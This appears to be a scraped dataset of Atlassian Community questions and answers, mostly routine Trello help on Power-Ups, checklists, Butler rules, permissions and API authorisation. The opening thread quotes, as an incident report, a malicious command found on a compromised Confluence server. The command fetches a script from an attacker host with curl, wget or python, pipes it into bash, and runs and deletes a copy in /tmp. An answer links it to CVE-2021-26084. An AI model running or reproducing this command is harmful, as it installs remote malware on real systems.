youngmon/atlassian-qna huggingface dataset:
Security issue
Asked by Alicja Mostowik:

Dear Confluence Team,

We have just revealed a security issue on our Confluence server - someone was able to place the below command in the code:  
(confluence1) CMD ((curl -fsSL [http://bash.givemexyz.in/xms\|\|wget](http://bash.givemexyz.in/xms||wget) -q -O- [http://bash.givemexyz.in/xms\|\|python](http://bash.givemexyz.in/xms||python) -c 'import urllib2 as fbi;print fbi.urlopen("[http://bash.givemexyz.in/xms").read()')\|](http://bash.givemexyz.in/xms%22).read()%27)|) bash -sh; lwp-download <http://bash.givemexyz.in/xms> /tmp/xms; bash /tmp/xms; /tmp/xms; rm -rf /tmp/xms)

Could you please advise what is the possible way this has been introduced?

The Confluence Server version we run is 7.7.2.

I would be grateful for a prompt response.

Kind regards,

Alicja Mostowik


Answers:
author: Kishan Sharma
body: Hi [@Alicja Mostowik](/t5/user/viewprofilepage/user-id/3801029)

I can see your confluence version is affected by [**CVE-2021-26084 - Confluence Server Webwork OGNL injection**](https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html) vulnerability. Please find the mitigation steps mentioned in the link.

comments: author: Alicja Mostowik
body: Thank you!


Tags: cve-2021-26084
Does board sort order apply to entire team?
Asked by Roy Thompson:

If I choose a board column to be sorted by \[X\], does this sort order apply to my view, or to the board itself? Will that change be visible to other team members with access to the board?


Answers:
author: Blair at Atlassian
body: Hi Roy!

In Trello, it's all about the shared perspective! When you change the sort order on a list, the people you collaborate with on the board will see the cards in the same order that you see and sort them.

Hope that helps!
Can't Connect to Google Drive Power-Up with multiple Google Accounts?
Asked by Ray:

Hey all,

I've been experiencing inconsistencies with the Google Drive Power-Up. Sometimes documents and links appear like I expect, but other times I'm prompted to "See more when you connect to Google Drive."

![image.png](https://community.atlassian.com/t5/image/serverpage/image-id/67820iB429F88E8F1DF7E4/image-size/large?v=v2&px=999 "image.png")

I do have two Google accounts associated with my single Trello account\*, but nothing happens when I attempt to "sign in" with either account.

This is an inconvenient but intermittent issue. I have not identified a particular pattern. It does affect me in both Trello in the browser and in the windows app.

Help?

Ray

\*Which is amazing - thank you Trello!


Answers:
author: Esme Crutchley
body: I had this problem as well, and narrowed it down to a Chrome extension - something that was blocking the sync happening.

I went through all my extensions and turned them all off, then turned on one at a time and refreshed the trello board until I found the one that was causing the problem! I think it was an ad blocker or something like that because it stops cross site logging/tracking. I turned them all one and whitelisted Trello on all of them and I haven't had the same problem. However, whenever Chrome updates I have to whitelist Trello again on all the extensions, but now I know what I'm looking for it's relatively easy

Hope this helps

Esme :)

comments: author: Esme Crutchley
body: When I was logging in with 2 accounts, I shared the document on Google Drive to the 'main' account and then added it from there. It's not the perfect work around, but it works (as long as you add the shared file to your Google Drive properly and make sure that's working!)


author: Ray
body: Thanks [@Esme Crutchley](/t5/user/viewprofilepage/user-id/3555478), I'll try that out!


author: Esme Crutchley
body: No worries [@Ray](/t5/user/viewprofilepage/user-id/3535980)

It took me ages to find out how to do it! I use uBlock Origin, Privacy Badger and a number of others, and I've had to whitelist Trello on all of them to make sure that they 'talk' to each other!

I always know that if I see 'Connect Google Drive to see more' that one of the extensions has updated and I need to go into all of them and whitelist Trello again!

Let me know if it works :)


author: Ray
body: [@Esme Crutchley](/t5/user/viewprofilepage/user-id/3555478) alas it appears that the issue goes deeper than extensions. I whitelisted, tried disabling all of them, and even tried another browser to no avail. I'll be turning to Trello help next. Thanks for the tips, though!


Tags: google

google-drive

power-up
Is there a way to attach multiple checklists at one time?
Asked by Jennifer Greco:

I have a template card that includes various checklists for me to attach to cards as needed, but there is often the need for 2 or 3 of those checklists to be attached to the same card.

So I am wondering if there is a way to choose 2 or 3 checklists from the copy list onto the card, right now I am adding them one at a time and it can be time consuming.

Also, while I am asking - is there a way to re-arrange the checklists on the card?


Answers:
author: Esme Crutchley
body: On the subject of moving a checklist - I just drag and drop the checklists in the order that I want them. I don't know of a way to automate that though. But on my example above, the Metrics one comes in at the top and the Weights comes in underneath

comments: author: Jennifer Greco
body: Thank you!


author: Esme Crutchley
body: You are most welcome :)


author: Esme Crutchley
body: I use a Butler rule for this. I have a few checklists that I want added to a card, my example is my workouts - when I add a specific tag (i.e. my workout type) I want it to add a specific checklist or two in the case of weights. I have specific cards which have several checklists on them called, unsurprisingly 'checklist card', and I have all the checklists on there that I might need. Then, when I add a specific label, it automatically copies the checklist across to the new card (it also renames the card to give me the date and time of the workout, but you could easily ignore that bit!). It looks like this if that's any help

![Screenshot 2019-10-01 at 13.54.23.png](https://community.atlassian.com/t5/image/serverpage/image-id/67921i4022E93B2EDB3351/image-dimensions/580x655?v=v2 "Screenshot 2019-10-01 at 13.54.23.png")


Tags: checklist
Good afternoon, tell me where did the button for the board archive go ?? now there is only close
Asked by ??? ??????:

Good afternoon, tell me where did the button for the board archive go ?? now there is only close


Answers:
author: carolyn french
body: You do have to be an admin to close the board, [@Vickey Palzor Lepcha](/t5/user/viewprofilepage/user-id/193910)

[@??? ??????](/t5/user/viewprofilepage/user-id/3577223) Closing the board effectively works like I understand 'archiving' to be, in that it's not permanent. You can always go find the Closed Boards, and reopen them.

<https://help.trello.com/article/777-closing-a-board>

comments: author: Vickey Palzor Lepcha
body: Ooops - I was not aware that the question is about Trello.

I haven't seen close board option in JIRA :-)


author: Vickey Palzor Lepcha
body: Hello - are you talking about projects or boards ?

I never had option to archive or close a board.
How to use Trello Power Up Package Tracker
Asked by Elisabeth Braun:

Hey,

I added the Power Up Package Tracker in Trello and it worked well for a few days.

Now it shows "loading" all the time when I add the tracking number and the carrier.

Sometimes it does not show "loading" but the tracking number is underlined (it is a link to this page: [https://www.packagetrackr.com](https://www.packagetrackr.com/))

Best  
Elli


Answers:
author: Blair at Atlassian
body: Hi from Trello support!

We're gathering more information on this issue with the Package Tracker Power-Up.  

First thing we wanted to touch on is to ensure you're using a supported, up-to-date browser or desktop client! Here's a link for all the supported browsers/clients and links download the latest: <https://trello.com/en-US/platforms>  

If you're using an updated browser and still having issues with viewing an in-transit package, we'd like to know if your browser is throwing any errors in the console when you view the card with Package Tracker Power-Up. If you see an error in the console, share them with us in Trello support!  

To bring up the console:  

\* Chrome: Cmd+Opt+J (Mac) or Ctrl+Shift+J (Windows)  
\* Firefox: Cmd+Opt+K (Mac) or Ctrl+Shift+K (Windows)  
\* Safari: Go to Preferences (Ctrl+,) and enable the "Develop" menu via the "Advanced" tab. Then click on the button on the upper-right that looks like a page, then the Develop menu. Select "Show JavaScript Console".

comments: author: Elisabeth Braun
body: Hey Trello support,

thank you for the quick reply!

Yes the browser up to date.

I can not see any errors. When I give in the tracking number and choose a carrier the only information that comes up is "load". I did not wait longer that 20 minutes so I do not know if it disappeares after more than 20 minutes, but a few weeks ago it worked fast.

Best

Elli


author: Brittany Joiner
body: Seems like a bug - have you tried removing that from the board and then adding it again?

comments: author: Elisabeth Braun
body: Hey Brittany, yes I have tried but it is still not working.


author: Brittany Joiner
body: Just replicated this - i'm having that issue too. Seems like a bug - you'll probably need to report that to support@trello.com .

For notes... i'm having this same issue whether I try on Chrome or Safari, and I am using UPS... unfortunately I don't have any other providers to track packages thorugh at the moment, although it would be interesting to see if this is an issue with all package providers or just them.

Also - it;s working just fine when I add tracking numbers for packages already delivered... of course that's not really helpful to track delivered packages haha.
My Trello boards are super slow.
Asked by Toru Nakamoto:

Hi,  
My Trello account has been super slow. Because tons of unarchived tasks in the past are still on my board. Or because of my chrome extensions.

I'd like to archive the cards I've done already.

However if I do, my google calendar's one syncing on my categories would be deleted also.

So that I need the way to keep the cards archived on my Google Calendar.

Anyone have the direction? Please give me that.

Mac OS 10.14

Chrome

Thanks!


Answers:
author: Torben_trello
body: We'd recommend checking out the following steps here and make sure that the board has less than 1000 open cards: <https://help.trello.com/article/1089-troubleshooting-a-slow-board>

If that does not help, could you reach out to trello.com/contact with the board links, so we can take a look?


Tags: app

calendar

chrome

mac
Why is Trello chrome process a memory hog?
Asked by boardtc:

![trello.png](https://community.atlassian.com/t5/image/serverpage/image-id/67883i25658FAB9AF012A6/image-size/large?v=v2&px=999 "trello.png")

Looking at the Chrome task manager my Trello board tab is a massive memory hog. Is there anything that can be done?


Answers:
author: Torben_trello
body: Can you check if you observe the same spike in memory usage when using an incognito window? If that issue persists can you reach out to trello.com/contact with the OS and browser version as well as a screenshot of the error console (if any). Thanks

comments: author: boardtc
body: I tested on an incognito window, logged in to Trello, it climbed to 362,000 before settling to 296,000. Slightly better perhaps, but still a disaster. Has anyone else seen this?
Shortcut for card specific email address?
Asked by Tony Morgan:

New Trello user here and, so far, I love it. However, I am struggling with one issue. From my Gmail Inbox I would like to be able to have the contents of an email appear as a comment on a specific card that I select each time. Currently this can be accomplished if I leave Gmail, open Trello, open the card that I want this email to be added to, then click on Share and More, click on Email for this Card, copy the long stringed email address, come back to Gmail and forward that email to that specific email address. I just have to believe that there is an easier way with all of the integrations that are out here.

Any ideas or am I missing something easy?

Thanks, everyone!!

--T


Answers:
author: Iain Dooley
body: [@Tony Morgan](/t5/user/viewprofilepage/user-id/3575878) nope this isn't a particularly easy thing to solve, and you can't even fetch this email address using the API, so there's no way to build automation that gets it for you.

I haven't found a solution beyond savings the card email address as a contact that allows you to do this any faster. It's also particularly painful because the only way you can obtain that email address on a mobile device is to copy a link to the card and then open it up in a mobile web browser and then it's super finicky to copy it out.

I built Benko Board which is actually a complete integration of Trello with Gmail, that is, it let's you use Trello as a Gmail client:

<http://trello.com/integrations/#benkoboard>

It's now available in the G-Suite marketplace and via the Sheets add-ons menu, but isn't verified by Google yet so you'll get a big ugly error (also it currently says "free" but I'll be adding in billing at some point for $49/year just so you're aware):

<https://gsuite.google.com/marketplace/app/benko_board_by_the_procedure_people/204068045444>

This allows you to have all your email conversations via Trello if you like, or only a subset of them (the configuration is reasonably flexible but pretty tricky because it's all done through google sheets).

Benko Board runs in the background so it works from any device.
Can I link to all my boards or just one?
Asked by Ariel Belisle:

I can find the link to ONE board.... But I do art for people and separate the kind of art they want by boards, and the customers each have their separate cards in their supposed board. Problem is I can only link to a certain art board... And not all my boards for my art page. I use it so viewers can track the progress on their piece.

I have tried researching this but only found the answer for ONE BOARD link.... Please help as it is getting frustrating. I am using both Trello desktop and app. I would appreciate directions to both but mostly the app. Or, is it not possible to have a link to all my boards?


Answers:
author: Esme Crutchley
body: If you click on the 'Show Menu' bar on the right hand side of any of your boards, and then click 'more' you'll see a direct link to just that board.

If your clients are all on separate boards, you can share just that link with the specific person and they'll only be able to see the board you want them to.

I don't know if that's what you mean or not, happy to try again if not!

Esme :)

comments: author: Admin Assistant
body: Hi Esme can this be done on the free account or only on Premium?
What is a valid return_url when using client.js for authentication?
Asked by Tester Gcal:

When i do Trello.authorize(opts), Am always receiving invalid return_url as the response irrespective of the value that i pass.

What is a proper return_url?


Answers:
author: David Bernal
body: The URL may not use the data or javascript protocols, but any other should be fine. The exception would be if you have set "Allowed Origins" on <https://trello.com/app-key>. In that case, the return_url must also match your Allowed Origins. When using client.js, the \`return_url\` is based on the page you are currently on, so if the page you're on doesn't match your Allowed Origins, or uses one of those protocols, you might receive this error.

Does this help?
App custom Field is acts different than desktop??
Asked by Heather Martens:

Hey, why does the time stamp for custom fields on the Trello app put the exact time that you are using the Trello app but when you use Trello desktop the time stamp needs to be entered manually? I wish the desktop version would be the same as the app to save time and automatically enter the time it is. Is there a way around this?


Answers:
author: Esme Crutchley
body: I don't know if this is what you're looking for, but you could create a Butler rule to say that any time a card is added to the board, you can set the custom field to now?

![Screenshot 2019-10-02 at 21.30.22.png](https://community.atlassian.com/t5/image/serverpage/image-id/68135iBCB58F6F0D9A9288/image-dimensions/555x300?v=v2 "Screenshot 2019-10-02 at 21.30.22.png")
Trello API Authorization Error: "invalid combination in scope"
Asked by George:

Hello,

Whenever I try to authorize my app with the Trello API and use a scope other than "read" I'll get an "invalid combination in scope" error.

The constructed authorization URL:

[https://trello.com/1/authorize?expiration=never\&name=MyApp\&scope=write\&callback_method=fragment\&return_url=https://myurl.test\&response_type=token\&key=my_key](https://trello.com/1/authorize?expiration=never&name=MyApp&scope=write&callback_method=fragment&return_url=https://myurl.test&response_type=token&key=my_key)

If I change the scope query string to "read" it works, but I get the above error for "write" and "account".

The key query string was redacted in this post.


Answers:
author: Iain Dooley
body: [@George](/t5/user/viewprofilepage/user-id/1079162) my guess is you can't have write without read. The list is comma separated:

<https://developers.trello.com/page/authorization>

comments: author: George
body: That was the problem, I though that it's hierarchical, meaning write will give access to read and write, and account will give access to read, write and account permissions.

Thanks!
How to enable auto-watching for cards I create?
Asked by Jonathan:

Hello,  
in order to receive due date notifications, I need to manually watch the cards. Since I use Trello for personal use, I'd like to auto-watch every card I create, in order to prevent the need to manually watch each and every card. How can I enable auto-watching?

Thanks in advance,  
Jonathan


Answers:
author: Jodi LeBlanc
body: Hi [@Jonathan](/t5/user/viewprofilepage/user-id/3575264) this feature was default for a few months in the spring. Every time you would change a due date it would auto-watch the card, however there were a lot of users that were not happy with this change, so I believe it was changed back.

Here are your options for watching:

<https://help.trello.com/article/799-watching-cards-lists-and-boards>

You can watch cards, lists, or board.

You may be able to configure a butler command to auto-watch each card you create however I have not tried this.  


author: Esme Crutchley
body: I also use a Butler rule (this isn't the one I use), but this will do the same thing for every card you create on the board/move onto the board/copy onto the board, it'll automatically join you regardless of any due dates (joining a card automatically subscribes you to it), it'll blanket add you to every card. Trello have a helpful site on what notifications you'll get when you [add a member to a card.](https://help.trello.com/article/807-adding-a-member-to-a-card) Hope this helps:

![Screenshot 2019-09-30 at 18.33.02.png](https://community.atlassian.com/t5/image/serverpage/image-id/67804i371E5623A84BD952/image-dimensions/570x251?v=v2 "Screenshot 2019-09-30 at 18.33.02.png")


author: Iain Dooley
body: [@Jonathan](/t5/user/viewprofilepage/user-id/3575264) This Butler rule will subscribe to every card on which you add a due date:

![2019-09-29 at 11.30 am.png](https://community.atlassian.com/t5/image/serverpage/image-id/67702iBCC85B5676B211E6/image-size/large?v=v2&px=999 "2019-09-29 at 11.30 am.png")


Tags: notification
Can I access the TRELLO database?
Asked by Claudio Calabresi:

I would like to read the fields created in our boards with SQL or similar.

Is it possible to access the database below my Trello boards?

Thanks,

Claudio


Answers:
author: Iain Dooley
body: [@Claudio Calabresi](/t5/user/viewprofilepage/user-id/3575224) you can't access the database, but you can access the API and put custom fields into a spreadsheet.

This Trellinator script would create a Google Sheet with all the card names, links and custom fields:

<https://gist.github.com/iaindooley/3a51bced1b1ae6d83ab6d4f7199954c6>

You can read more about Trellinator here:

<https://community.atlassian.com/t5/Marketplace-Apps-Integrations/Introducing-Trellinator-Automate-Trello-with-Google-Apps-Script/ba-p/925271>


Tags: database
Transfer the admin role in Trello to someone else - original admin is no longer with the company
Asked by Anand Vasudevan:

How do I transfer the admin role to someone else when the original admin is no longer at the company ?


Answers:
author: Jodi LeBlanc
body: Hi [@Anand Vasudevan](/t5/user/viewprofilepage/user-id/3575006) this article will walk you through the process, scroll down until you see the heading:

"If you're not able to change admins after the previous admin leaves" {#toc-hId--1408153727}
--------------------------------------------------------------------------------------------

<https://help.trello.com/article/768-changing-the-admins-of-a-team-or-board>

Let me know if this helps.

Jodi
How do I enter in another group?
Asked by Exelendary:

I want to be in a group, but I don't know how to do. Can you answer me please?


Answers:
author: Jodi LeBlanc
body: Hi [@Exelendary](/t5/user/viewprofilepage/user-id/3574357) when you say group are you referring to another team? If that is the case the admin of the team would need to invite you to the team. If that is not what you are asking, can you please share a few more details?  
Thanks,

Jodi
Completed Task
Asked by Jos? Augusto Cavalcanti:

Hi, how do I set that a given Task was completed if it doesn?t have a Due Date?


Answers:
author: Jos? Augusto Cavalcanti
body: Is it possible to copy a Check List to other Cards?

comments: author: Jodi LeBlanc
body: Yes you can, check out the copy checklist section of this article:

<https://help.trello.com/article/737-adding-checklists-to-cards>


author: Jos? Augusto Cavalcanti
body: Thanks again.


author: Jodi LeBlanc
body: Hi [@Jos? Augusto Cavalcanti](/t5/user/viewprofilepage/user-id/3574383) if you are using checklists inside of cards you can mark them as completed and they are then striked through. If you aren't using a checklist you can create one just to say "card is done" and check it off. Then you will see on outside of card a check mark. Let me know if this helps.

Jodi


author: Jos? Augusto Cavalcanti
body: Great.

Thanks.

comments: author: Jodi LeBlanc
body: Yes you can, check out the copy checklist section of this article:

<https://help.trello.com/article/737-adding-checklists-to-cards>
How to forbid the participants to edit the description?
Asked by Ramil:

How to forbid the participants to edit the description? Only admin can do it


Answers:
author: Iain Dooley
body: [@Ramil](/t5/user/viewprofilepage/user-id/3567518) in order to create a board that people can see but not edit, the best way to do it is to create a team viewable board with commenting permissions for team members. That way only members of the board can edit cards, but everyone on the team can see and comment.


author: Zoi Raskou
body: Hello Ramil,

When you say participants are you referring to Service Desk request participants? By default they cannot edit the description or any field for that matter. Participants have the permission to view and comment on the issue.

If by participants you mean Jira users, you can restrict who can edit issues altogether, or add bespoke behaviours

comments: author: Ramil
body: I mean Trello users. How i can restrict who can edit issues altogether? A regular user can add new cards and change the description. What should not be